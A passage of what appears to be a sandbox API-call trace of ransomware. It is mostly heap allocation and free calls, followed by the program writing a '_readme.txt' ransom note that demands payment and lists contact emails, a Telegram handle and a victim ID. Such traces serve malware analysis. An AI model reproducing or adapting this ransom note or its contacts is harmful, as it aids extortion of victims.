lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0266.469] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.469] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.469] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.469] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0266.469] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.469] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.469] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.469] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0266.469] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.469] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.469] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0266.469] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.469] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.469] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0266.469] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.470] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.470] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.470] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0266.470] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.470] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.470] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.470] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0266.470] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.470] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.470] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.470] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0266.470] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.470] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.470] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.470] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0266.470] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.470] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.470] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.470] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0266.470] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.470] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.470] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.470] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0266.470] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.470] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.470] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.470] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0266.470] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.471] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.471] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.471] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0266.471] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.471] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.471] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.471] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0266.471] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.471] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.471] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.471] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0266.471] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.471] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.471] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.471] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0266.471] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.471] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.471] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.471] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0266.471] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.471] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.471] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.471] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0266.471] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.471] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.471] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.472] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0266.472] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.472] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.472] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.472] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0266.472] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.472] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.472] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.472] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.472] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.472] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0266.472] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.472] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.472] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.472] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0266.472] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.472] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.472] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0266.472] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.472] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.472] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0266.472] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.472] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.472] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.472] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0266.472] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.472] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.472] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.473] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0266.473] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.473] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.473] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.473] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0266.473] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.473] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.473] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.473] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0266.473] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.473] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.473] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.473] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.473] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.473] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0266.473] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.473] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.473] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.473] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0266.473] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.473] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.473] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.473] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0266.473] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.473] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.473] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.473] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0266.474] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.474] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.474] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.474] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0266.474] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.474] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.474] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.474] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0266.474] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.474] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.474] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.474] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0266.474] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.474] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.474] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.474] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0266.474] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.474] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.474] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.474] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0266.474] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.474] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.474] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.474] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0266.474] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.474] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.474] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.475] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.475] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.475] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0266.475] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.475] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.475] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.475] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0266.475] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.475] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.475] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.475] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0266.475] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.475] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.475] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.475] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0266.475] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.475] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.475] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.475] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0266.475] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.475] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.475] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.475] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0266.475] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.475] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.475] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.476] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.476] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.476] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0266.476] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.476] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.476] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.476] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0266.476] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.476] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.476] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.476] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0266.476] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.476] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.476] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.476] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0266.476] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.476] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.476] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.476] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0266.476] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.476] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.476] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.476] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0266.476] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.476] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.476] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.477] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0266.477] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.477] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.477] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.477] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0266.477] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.477] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.477] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.477] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0266.477] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.477] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.477] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.477] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0266.477] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.477] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.477] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.477] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.477] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.477] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0266.477] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.477] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.477] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.477] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0266.477] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab7d0 [0266.477] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7029f0 [0266.477] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0266.478] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.478] PathFindFileNameW (pszPath="") returned="" [0266.478] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.478] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75d10000 [0266.478] GetProcAddress (hModule=0x75d10000, lpProcName="SHGetFolderPathW") returned 0x75d95708 [0266.478] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x800) returned 0x31106e0 [0266.478] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x31106e0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0266.478] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x810) returned 0x3109120 [0266.478] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7029f0 [0266.478] FreeLibrary (hLibModule=0x75d10000) returned 1 [0266.478] PathAppendW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", pMore="_readme.txt" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt") returned 1 [0266.478] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.479] PathFileExistsW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt") returned 0 [0266.479] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x7d00) returned 0x31156f0 [0266.479] lstrcpyW (in: lpString1=0x31156f0, lpString2="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 